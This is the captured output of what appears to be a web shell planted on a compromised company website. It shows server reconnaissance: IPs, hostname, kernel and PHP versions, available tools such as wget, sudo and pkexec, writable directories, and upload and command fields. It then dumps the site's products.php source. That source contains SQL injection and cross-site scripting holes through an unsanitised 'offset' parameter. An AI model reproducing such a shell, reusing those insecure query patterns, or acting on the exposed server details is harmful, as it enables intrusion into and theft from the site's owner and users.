403Webshell
Server IP : 210.245.233.93  /  Your IP : 216.73.216.226
Web Server : Apache/2.2.15 (CentOS)
System : Linux webserver2.onesolution.com.hk 2.6.32-754.35.1.el6.x86_64 #1 SMP Sat Nov 7 12:42:14 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 5.3.3
Disable Function : exec, shell_exec, system, passthru, popen, proc_open, pcntl_exec
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/airchats.com.hk/en/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/airchats.com.hk/en/products.php
<?php require_once('../webadmin/configure.php');?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<?php //SEO 
	$result1 = mysql_query("SELECT * FROM seo WHERE pagepath = 'Products' ");
	$row1 = mysql_fetch_array($result1,MYSQL_ASSOC);	
?>
<title><?=$row1{'seotitle'};?></title>
<meta name="keywords" content="<?=$row1{'seokey'};?>">
<meta name="description" content="<?=$row1{'seodesc'};?>" />
<meta http-equiv="X-UA-Compatible" content="IE=7" />
<link rel="stylesheet" type="text/css" href="../css/style.css" />

</head>
<body><body><div id="container">
	<div id="body">
	<table width="830" border="0" align="center" cellpadding="0" cellspacing="0">
	  <tr>
		<td><table width="830" border="0" cellspacing="0" cellpadding="0">
		  <tr>
			<td rowspan="2"><a href="index.php"><img src="../images/logo.jpg" width="220" height="105" hspace="20" style="float:left;" /></a></td>
			<td height="20"><form id="searchform" method="get" action="http://www.google.com/search"><input name="q" type="text" id="searchinput" /><input type="image" src="../images/btn_search.jpg" align="absmiddle"/><input type="hidden"  name="sitesearch" value="<?php echo $_SERVER['SERVER_NAME']; ?>" /></form></td>
		  </tr>
		  <tr>
			<td height="80" align="left" valign="top"><div class="mainmenu">
			<ul>
			 <li><a href="index.php">Home</a></li>
			 <li><a href="aboutus.php">About us</a></li>
			 <li><a href="products.php" class="current">Products</a></li>
			 <li><a href="news.php">News</a></li>
			 <li><a href="contactus.php">Contact us</a></li>
			</ul>
			</div></td>
		  </tr>
		</table></td>
	  </tr>
	  <tr>
		<td align="right" class="path">You are here: <a href="index.php">Home</a> &gt; Products </td>
	  </tr>
	  <tr>
		<td><div id="homecontent">
		<?php   $getcatid =(int)$_GET['catid'];
				$getpid =(int)$_GET['pid'];
				$getsort =(int)$_GET['sort'];
				
				$sqla = "SELECT * FROM prodcategory ";
				if ($getcatid <> '') {
					$sqla .= "WHERE catid = ".$getcatid." ";
				} else if ($getpid <> '') {
					$sqla .= "WHERE catid = ".$getpid." ";
				}
				$sqla .= "ORDER BY catsort ASC, catid ASC ";			
				$result1 = mysql_query($sqla);		
				$row1 = mysql_fetch_array($result1,MYSQL_ASSOC);
			
				//Prev
				$sqlz = "SELECT * FROM prodcategory ";				
				if ($getcatid <> '') {
					$sqlz .= "WHERE parentid = ".$getpid." AND catsort < ".$getsort." ";
				} else {
					$sqlz .= "WHERE parentid = ".$row1{'catid'}." ";
				}
				$sqlz .= "ORDER BY catsort DESC, catid ASC ";			
				$result2 = mysql_query($sqlz);		
				$row2 = mysql_fetch_array($result2,MYSQL_ASSOC);
				
				// Next
				$sqlw = "SELECT * FROM prodcategory ";
				if ($getcatid <> '') {
					$sqlw .= "WHERE parentid = ".$getpid." AND catsort > ".$getsort." ";
				} else {
					$sqlw .= "WHERE parentid = ".$row1{'catid'}." ";
				}
				$sqlw .= "ORDER BY catsort ASC, catid ASC ";
				
				$result3 = mysql_query($sqlw);		
				$row3 = mysql_fetch_array($result3,MYSQL_ASSOC);
				
				if (isset($getpid)) {
					$pid = $getpid;
				} else {
					$pid = $row1{'catid'};
				} 
			?>	
		<table width="720" height="370" border="0" cellspacing="0" cellpadding="0">
		  <tr>
			<td width="720" colspan="2" align="left" valign="top" class="title" style="padding:40px 50px 10px 50px;"><?=$row1{'catname'};?></td>
		  </tr>
		  <tr>	  
			<td width="720" align="left" valign="top" style="padding-left:50px;"><?php if (isset($row2{'catid'})) { ?><a href="products.php?pid=<?=$pid;?>&catid=<?=$row2{'catid'};?>&sort=<?=$row2{'catsort'};?>"><img src="../images/btn_prev.jpg" border="0" style="float:left;" /></a><?php } else { echo '<img src="../images/btn_prev_space.jpg" border="0" style="float:left;" />'; } ?><?php if ($row1{'catimage'} <> '') { ?><img src="../webadmin/product/<?=$row1{'catimage'};?>" border="0" style="float:left;" /><?php } else {?><img src="../webadmin/product/noimage.jpg" border="0" style="float:left;" /><?php } ?><?php if (isset($row3{'catid'})) { ?><a href="products.php?pid=<?=$pid;?>&catid=<?=$row3{'catid'};?>&sort=<?=$row3{'catsort'};?>"><img src="../images/btn_next.jpg" border="0" style="float:left;" /></a><?php } else { echo '<img src="../images/btn_next_space.jpg" border="0" style="float:left;" />'; } ?></td>
		  </tr>
		</table></div>
		<div id="submenudiv">
			<div class="submenu">
			  <ul>
			  <?php 
			    $offset			= $_GET["offset"];
				$where			= $_GET["where"]; 
	
				$limit=5; 
				if (!$offset) $offset=0;
				
				//PRODUCT
				$sqlx = "SELECT * FROM prodcategory ";
				$sqlx .= "WHERE levelnum = '1' ";
				$sqlx .= "ORDER BY catsort ASC, catid ASC ";
				
				$result1 = mysql_query($sqlx);
				$numrec = mysql_num_rows($result1);
				$numpage=intval($numrec/$limit);
	
				if ($numrec%$limit) {
					$numpage++; // add one page if remainder
				}
				 
				$result3 = mysql_query("SELECT * FROM prodcategory WHERE levelnum = '1' ORDER BY catsort ASC, catid ASC limit $offset,$limit");
				while ($row3 = mysql_fetch_array($result3,MYSQL_ASSOC))
				{
					echo '<li><a href="products.php?pid='.$row3{'catid'}.'&offset='.$_GET['offset'].'" ';
						if($pid == $row3{'catid'})
							echo 'class="selected"';
					echo '>'.$row3{'catname'}.'</a></li>';
				}
			  ?>
			  </ul>
			</div>
			<?php include("pagenav.php"); ?>
		</div>
				
		<div id="mainframetop"></div><div id="mainframeleft"></div><div id="mainframeright"></div><div id="mainframebottom"></div></td>
	  </tr>
	</table></div>
	<!-- Footer -->
	<div id="footer">
	<table width="830" border="0" cellspacing="0" cellpadding="0">
	  <tr>
		<td align="center" valign="top" class="footer">Copyright &copy; 2015 Chatsford Group. All Rights Reserved. </td>
	  </tr>
	</table>
	</div>
	
<!-- End Container -->	
</div></body>
</html>
<?php mysql_close($dbh);?>

Youez - 2016 - github.com/yon3zu
LinuXploit